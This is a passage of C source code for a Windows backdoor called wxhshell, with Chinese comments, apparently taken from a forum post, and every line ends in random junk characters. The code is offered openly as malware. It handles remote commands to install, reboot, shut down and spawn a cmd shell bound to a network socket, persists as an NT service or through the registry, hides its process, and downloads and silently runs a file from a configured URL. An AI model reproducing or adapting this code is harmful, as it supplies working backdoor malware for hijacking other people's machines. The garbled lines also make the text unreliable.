  else { }Bsh!3D<.  
#)twk `!^  
    switch(cmd[0]) { X"r.*fb;N  
  YZSQOLN{  
  // 帮助 Ldv,(ZV,<  
  case '?': { <j,3Dn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e.%I#rNI  
    break; &ni#(   
  } 6DK).|@$r  
  // 安装 UntFkoO  
  case 'i': { Q@>1z*'I  
    if(Install()) C<I?4WM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qzo -Yw`=  
    else H.' 9]*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XM w6b*O  
    break; I2*(v%.-  
    } {f)aFGp  
  // 卸载 Kl%[fjI)  
  case 'r': { dg|x(p#  
    if(Uninstall()) SOM? 0.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T#E$sZ  
    else YGLq ~A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k3@d = k  
    break; i$@xb_  
    } D6&P9e_5  
  // 显示 wxhshell 所在路径 E QU@';~8  
  case 'p': { YlGUd~$`"+  
    char svExeFile[MAX_PATH]; yUpN`;  
    strcpy(svExeFile,"\n\r"); ?YZgH>7"  
      strcat(svExeFile,ExeFile); q0Q[]|L  
        send(wsh,svExeFile,strlen(svExeFile),0); "RK"Pn+  
    break; Mog [,{w  
    } C,W_0= !e  
  // 重启 A:GqR;;"x>  
  case 'b': { .PVYYhrt  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Y9<[n)>+  
    if(Boot(REBOOT)) +ZW>JjP*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQ8{N:58DN  
    else { -Pt E+R[A  
    closesocket(wsh); f:&JKB)N  
    ExitThread(0); h@=@ fa  
    } 9"+MZ$  
    break; :f39)g5>  
    } )V[j~uOU)]  
  // 关机 )$9w Kk\F  
  case 'd': { .d^8?vo  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7qOkv1.}0  
    if(Boot(SHUTDOWN)) 1t &_]q_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g|?}a]G  
    else { %%?}db1n  
    closesocket(wsh); 0|tyKP|J  
    ExitThread(0); QK0]9   
    } R=E4Sh  
    break; /*Q3=Dse]  
    } X=)L$Kd7  
  // 获取shell *<:X3|3E  
  case 's': { (_@5V_U  
    CmdShell(wsh); kwT)j(pp<  
    closesocket(wsh); m[2[9 bQ0  
    ExitThread(0); 3))R91I  
    break; Ua 6O~,\  
  } OEjX(F3=  
  // 退出 #@`c7SR  
  case 'x': { cyB+(jLHDs  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); XIbxi  
    CloseIt(wsh); #TR!x,Hc  
    break; *K$a;2WjzG  
    } hp2E! Cma  
  // 离开 bF_0',W  
  case 'q': { $poIWJMc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); gAsmPI.K  
    closesocket(wsh); zx=eqN@!@  
    WSACleanup(); F)Q[ cai  
    exit(1); !]g[u3O  
    break; U+B"$yBR  
        } *k,3@_5  
  } yLfyLyO L  
  } E Zf|>^N  
9D=X3{be#  
  // 提示信息 |mn} wNUN]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ri59LYy=  
} *kK +Nvt8s  
  } l9eTghLi  
.U|'KCM9m  
  return; !w%c= V]tV  
} 8gE p5  
.txtt?ZF2  
// shell模块句柄 yy8BkG(  
int CmdShell(SOCKET sock) K\xM%O?  
{ XBCHJj]k  
STARTUPINFO si; r^C(|Vx  
ZeroMemory(&si,sizeof(si)); y< dBF[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x  zF  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YB4 ZI  
PROCESS_INFORMATION ProcessInfo; OQ_< Vxz  
char cmdline[]="cmd"; YQ?hAAJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2(3Q#3V  
  return 0; YB7A5  
} urx?p^c  
J9 NuqV3  
// 自身启动模式 P}gtJ;  
int StartFromService(void) vjm? X  
{ ,JK0N_=  
typedef struct a1I-d=]  
{ ~Uv#)  
  DWORD ExitStatus; y4p"LD5%^  
  DWORD PebBaseAddress; 44P [P{y  
  DWORD AffinityMask; n5A|Zjk;  
  DWORD BasePriority; oowofi(E  
  ULONG UniqueProcessId; H'YKj'  
  ULONG InheritedFromUniqueProcessId; Zh;}Q(w  
}   PROCESS_BASIC_INFORMATION; t6KKfb  
> _sSni  
PROCNTQSIP NtQueryInformationProcess; L{>rN`{  
i{$P.i/&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H9TeMY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; e> 9X  
7lwI]/ZH*  
  HANDLE             hProcess; ti9e(Jt!O  
  PROCESS_BASIC_INFORMATION pbi; bIBF2m4  
iH-,l  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2RNee@!JJP  
  if(NULL == hInst ) return 0; p2b~k[  
iExKi1knx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dba_(I~y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); MYara;k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6q>iPK Jt  
K*Ba;"Ugeg  
  if (!NtQueryInformationProcess) return 0; !*&5O~dfN  
{4 vWSb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |#cqxr"  
  if(!hProcess) return 0; iY@}Q "  
MH'%E^n `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <eSg%6z  
=*ErN  
  CloseHandle(hProcess); h~ _i::vg  
!+@70|gFF  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g]z k`R5  
if(hProcess==NULL) return 0; B!quj!A  
<`vXyPA6  
HMODULE hMod; RY)x"\D  
char procName[255]; ,|\\C6s  
unsigned long cbNeeded; ET9tn1  
yc7b%T*Y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BWYv.&=(  
 jMI30  
  CloseHandle(hProcess); p{GO-gE@  
Q Rr9|p{  
if(strstr(procName,"services")) return 1; // 以服务启动 [>p!*%m  
( EJ1g^|"  
  return 0; // 注册表启动 ;5\'PrE  
} 0~$9z+S  
R>:D&$[RD  
// 主模块 C "@>NC_  
int StartWxhshell(LPSTR lpCmdLine) V!]|u ^4I  
{ _I'k&R  
  SOCKET wsl; KV;q}EyG  
BOOL val=TRUE; .0U[n t6  
  int port=0; 85|u;Fxf  
  struct sockaddr_in door; b}Im>n!  
ShV_8F z  
  if(wscfg.ws_autoins) Install();  Lhg  
f&5S`}C  
port=atoi(lpCmdLine); I'{Ctc  
(HeSL),1  
if(port<=0) port=wscfg.ws_port; Pr%KcR ;  
E,?IIRg&  
  WSADATA data; zp f<!x^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wy6a4oY  
4`oKvL9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =(TMcu$4`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ckP AH E@  
  door.sin_family = AF_INET; @Q ~; @M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9&^5!R8  
  door.sin_port = htons(port); yCkc3s|DA;  
dly -mPmP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G2!<C-T{2  
closesocket(wsl); jc:=Pe!E  
return 1; 4<1V  
} "X?Zw$gRud  
94 6r#`q  
  if(listen(wsl,2) == INVALID_SOCKET) { e"sv_$*  
closesocket(wsl); 45%D^~2~F  
return 1; M"K$.m@t  
} Snmv  
  Wxhshell(wsl); 3My}u>  
  WSACleanup(); j<Pw0?~s6  
[N[4\W!!  
return 0; 0lq?l:/  
@m`H~]AU  
} V{>;Z vj1R  
wS7Vo{#@\  
// 以NT服务方式启动 -3d`e2^&}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :si&A;k  
{ ^oq|^O  
DWORD   status = 0; L?8OWLjRy  
  DWORD   specificError = 0xfffffff; k{X+Y6'ku  
G^L9[c= ,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; S%?>Mh?g  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &dw=jHt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c@]G;>o  
  serviceStatus.dwWin32ExitCode     = 0; @*6_Rp"@  
  serviceStatus.dwServiceSpecificExitCode = 0; {s6#h#U  
  serviceStatus.dwCheckPoint       = 0; rWO#h{  
  serviceStatus.dwWaitHint       = 0; gV:0&g\v  
IJPyCi)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {4[dHfIy  
  if (hServiceStatusHandle==0) return; cyjgi /Z  
i[.7 8K-s  
status = GetLastError(); SZtSUt(ss  
  if (status!=NO_ERROR) "=40%j0  
{ '_K`1&#U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; zh?B-"O=5  
    serviceStatus.dwCheckPoint       = 0; -g 9CW[  
    serviceStatus.dwWaitHint       = 0; qOyS8tA.H  
    serviceStatus.dwWin32ExitCode     = status;  ++8 Xi1  
    serviceStatus.dwServiceSpecificExitCode = specificError; r}|)oG,=  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?6N\AM '  
    return; 7uv"#mq  
  } Pq-@waH3  
oz3!%'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f::^zAV  
  serviceStatus.dwCheckPoint       = 0; 7:$dl #  
  serviceStatus.dwWaitHint       = 0; 4RQ38%> >j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3|3ad'  
} B<@a&QBTg  
MScUrW!TA  
// 处理NT服务事件,比如:启动、停止 v33[Rk'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fo ,8"m  
{ `-W4/7  
switch(fdwControl) NFur+zwv  
{ Vj)"?|V  
case SERVICE_CONTROL_STOP: \0qFOjVj  
  serviceStatus.dwWin32ExitCode = 0; & }"I!  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; [5b[ztN%  
  serviceStatus.dwCheckPoint   = 0; 3XbFg%8YG  
  serviceStatus.dwWaitHint     = 0; Fgh an.F  
  { EjEXev<]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RdpOj >fT  
  } NLgeBLB  
  return; `q\v~FT  
case SERVICE_CONTROL_PAUSE: lY |]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6is+\  
  break; rg%m   
case SERVICE_CONTROL_CONTINUE: D[YdPg@-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9(KffnE^  
  break; iN@|08  
case SERVICE_CONTROL_INTERROGATE: 7 X~JLvN  
  break; W^H[rX}=  
}; lKRp9isn^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >M m.MNU  
} 3] U/^f3  
%uP/v\l  
// 标准应用程序主函数 TUp%Cx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]@}@G[e#[  
{ 7d_"4;K)  
%a-fxV[  
// 获取操作系统版本 T Q {8 ee{  
OsIsNt=GetOsVer(); f,@~@f X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4 T/ ~erc  
yN#]Q}4  
  // 从命令行安装 AZJ|.mV q  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]InDcE  
r9-)+R J  
  // 下载执行文件 `E>o:tff  
if(wscfg.ws_downexe) { 9<Th: t|w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y$3liDeL=  
  WinExec(wscfg.ws_filenam,SW_HIDE); " M&zW&  
} yW_goS0  
M|$A)D1  
if(!OsIsNt) { D@iS#+22  
// 如果时win9x,隐藏进程并且设置为注册表启动 b0/[+OY   
HideProc(); =D 5!Xq'|  
StartWxhshell(lpCmdLine); CTX%~1 _`O  
} ].gC9@C:$i  
else pl 1CEoe  
  if(StartFromService()) + k   
  // 以服务方式启动 7H[.o~\  
  StartServiceCtrlDispatcher(DispatchTable); 6SSrkj}U  
else ?Y$3R"p@3`  
  // 普通方式启动 6<n+p'+n  
  StartWxhshell(lpCmdLine); ia-&?  
,=}+.ax  
return 0; wqXo]dX  
}
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只看该作者 1 发表于: 2006-10-10
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